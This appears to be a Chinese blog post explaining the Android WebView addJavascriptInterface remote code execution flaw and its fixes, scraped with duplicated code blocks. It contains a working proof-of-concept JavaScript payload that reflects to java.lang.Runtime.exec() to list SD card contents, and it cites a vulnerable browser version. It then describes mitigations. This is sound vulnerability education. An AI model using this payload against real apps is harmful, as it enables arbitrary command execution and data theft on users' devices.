-
return window[obj].getClass().forName(“java.lang.Runtime”)
-
.getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);
-
}
-
}
-
}
function execute(cmdArgs)
{
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
3,漏洞证明
**举例一:**为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:
[html] view plain copy
-
<html>
-
<head>
-
<meta http-equiv=“Content-Type” content=“text/html; charset=UTF-8”>
-
<script>
-
var i=0;
-
function getContents(inputStream)
-
{
-
var contents = “”+i;
-
var b = inputStream.read();
-
var i = 1;
-
while(b != -1) {
-
var bString = String.fromCharCode(b);
-
contents += bString;
-
contents += ”\n”
-
b = inputStream.read();
-
}
-
i=i+1;
-
return contents;
-
}
-
function execute(cmdArgs)
-
{
-
for (var obj in window) {
-
console.log(obj);
-
if (“getClass” in window[obj]) {
-
alert(obj);
-
return window[obj].getClass().forName(“java.lang.Runtime”).
-
getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
-
}
-
}
-
}
-
var p = execute([“ls”,”/mnt/sdcard/”]);
-
document.write(getContents(p.getInputStream()));
-
</script>
-
<script language=“javascript”>
-
function onButtonClick()
-
{
-
// Call the method of injected object from Android source.
-
var text = jsInterface.onButtonClick(“从JS中传递过来的文本!!!”);
-
alert(text);
-
}
-
function onImageClick()
-
{
-
//Call the method of injected object from Android source.
-
var src = document.getElementById(“image”).src;
-
var width = document.getElementById(“image”).width;
-
var height = document.getElementById(“image”).height;
-
// Call the method of injected object from Android source.
-
jsInterface.onImageClick(src, width, height);
-
}
-
</script>
-
</head>
-
<body>
-
<p>点击图片把URL传到Java代码</p>
-
<img class=“curved_box” id=“image”
-
οnclick=“onImageClick()”
-
width=“328”
-
height=“185”
-
src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”
-
οnerrοr=“this.src=’background_chl.jpg’”/>
-
</p>
-
<button type=“button” οnclick=“onButtonClick()”>与Java代码交互</button>
-
</body>
-
</html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>点击图片把URL传到Java代码</p>
<img class="curved_box" id="image"
οnclick="onImageClick()"
width="328"
height="185"
src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"
οnerrοr="this.src='background_chl.jpg'"/>
</p>
<button type="button" οnclick="onButtonClick()">与Java代码交互</button>
</body>
</html>
这段HTML的运行效果如下:
图一:期望运行结果图
上图中,点击 按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击 图片后,把图片的URL,width,height传到Java层,也用toast显示出来。
要实现这样的功能,就需要注Java对象。
简单说明一下
1,请看 **execute()**这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。
2,getContents()方法,从流中读取内容,显示在界面上。
3,关键的代码就是以下两句
[javascript] view plain copy
-
return window[obj].getClass().forName(“java.lang.Runtime”).
-
getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Java代码实现如下:
[java] view plain copy
-
mWebView = (WebView) findViewById(R.id.webview);
-
mWebView.getSettings().setJavaScriptEnabled(true);
-
mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);
-
mWebView.loadUrl(”file:///android_asset/html/test.html”);
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
需要添加的权限:
[html] view plain copy
-
<uses-permission android:name=“android.permission.INTERNET”/>
-
<uses-permission android:name=“android.permission.ACCESS_NETWORK_STATE” />
-
<uses-permission android:name=“android.permission.WRITE_EXTERNAL_STORAGE” />
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)
图二:实际运行结果,列出了SDCard中的文件
**举例二:**360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7
在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面
图三:360浏览器运行结果
说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。
在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示
图四:错误结果
4,解决方案
1,Android 4.2以上的系统
在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:
[java] view plain copy
-
class JsObject {
-
@JavascriptInterface
-
public String toString() { return “injectedObject”; }
-
}
-
webView.addJavascriptInterface(new JsObject(), “injectedObject”);
-
webView.loadData(”“, “text/html”, null);
-
webView.loadUrl(”javascript:alert(injectedObject.toString())”);
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
2,Android 4.2以下的系统
这个问题比较难解决,但也不是不能解决。
首先,我们肯定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动作,JS与Java进行交互我们知道,有以下几种,比prompt, alert等,这样的动作都会对应到 **WebChromeClient**类中相应的方法,对于prompt,它对应的方法是 **onJsPrompt**方法,这个方法的声明如下:
[java] view plain copy
-
public boolean onJsPrompt(WebView view, String url, String message,
-
String defaultValue, JsPromptResult result)
public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)
通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢?
经过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:
【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含: 特定标识,方法名称,参数等。在 **onJsPrompt**方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。
【2】关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。
【3】我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中,具体的代码如下:
[javascript] view plain copy
-
javascript:(function JsAddJavascriptInterface_(){
-
if (typeof(window.jsInterface)!=‘undefined’) {
-
console.log(’window.jsInterface_js_interface_name is exist!!’);}
-
else {
-
window.jsInterface = {
-
onButtonClick:function(arg0) {
-
return prompt(‘MyApp:’+JSON.stringify({obj:‘jsInterface’,func:‘onButtonClick’,args:[arg0]}));
-
},
-
onImageClick:function(arg0,arg1,arg2) {
-
prompt(’MyApp:’+JSON.stringify({obj:‘jsInterface’,func:‘onImageClick’,args:[arg0,arg1,arg2]}));
-
},
-
};
-
}
-
}
-
)()
javascript:(function JsAddJavascriptInterface_(){
if (typeof(window.jsInterface)!='undefined') {
console.log('window.jsInterface_js_interface_name is exist!!');}
else {
window.jsInterface = {
onButtonClick:function(arg0) {
return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));
},
onImageClick:function(arg0,arg1,arg2) {
prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
},
};
}
}
)()
说明:
1,上面代码中的 **jsInterface**就是要注册的对象名,它注册了两个方法, onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return。
2,prompt中是我们约定的字符串,它包含特定的标识符 MyApp:,后面包含了一串JSON字符串,它包含了 **方法名,参数,对象名**等。
3,当JS调用onButtonClick或onImageClick时,就会回调到Java层中的 **onJsPrompt**方法,我们再解析出方法名,参数,对象名,再反射调用方法。
4,window.jsInterface这表示在window上声明了一个Js对象,声明方法的形式是: 方法名:function(参数1,参数2)
5,一些思考
以下是在实现这个解决方案过程中遇到的一些问题和思考:
【1】生成Js方法后,加载这段Js的时机是什么?
刚开始时在当WebView正常加载URL后去加载Js,但发现会存在问题,如果当WebView跳转到下一个页面时,之前加载的Js就可能无效了,所以需要再次加载。这个问题经过尝试,需要在以下几个方法中加载Js,它们是WebChromeClient和WebViewClient的方法:
-
onLoadResource
-
doUpdateVisitedHistory
-
onPageStarted
-
onPageFinished
-
onReceivedTitle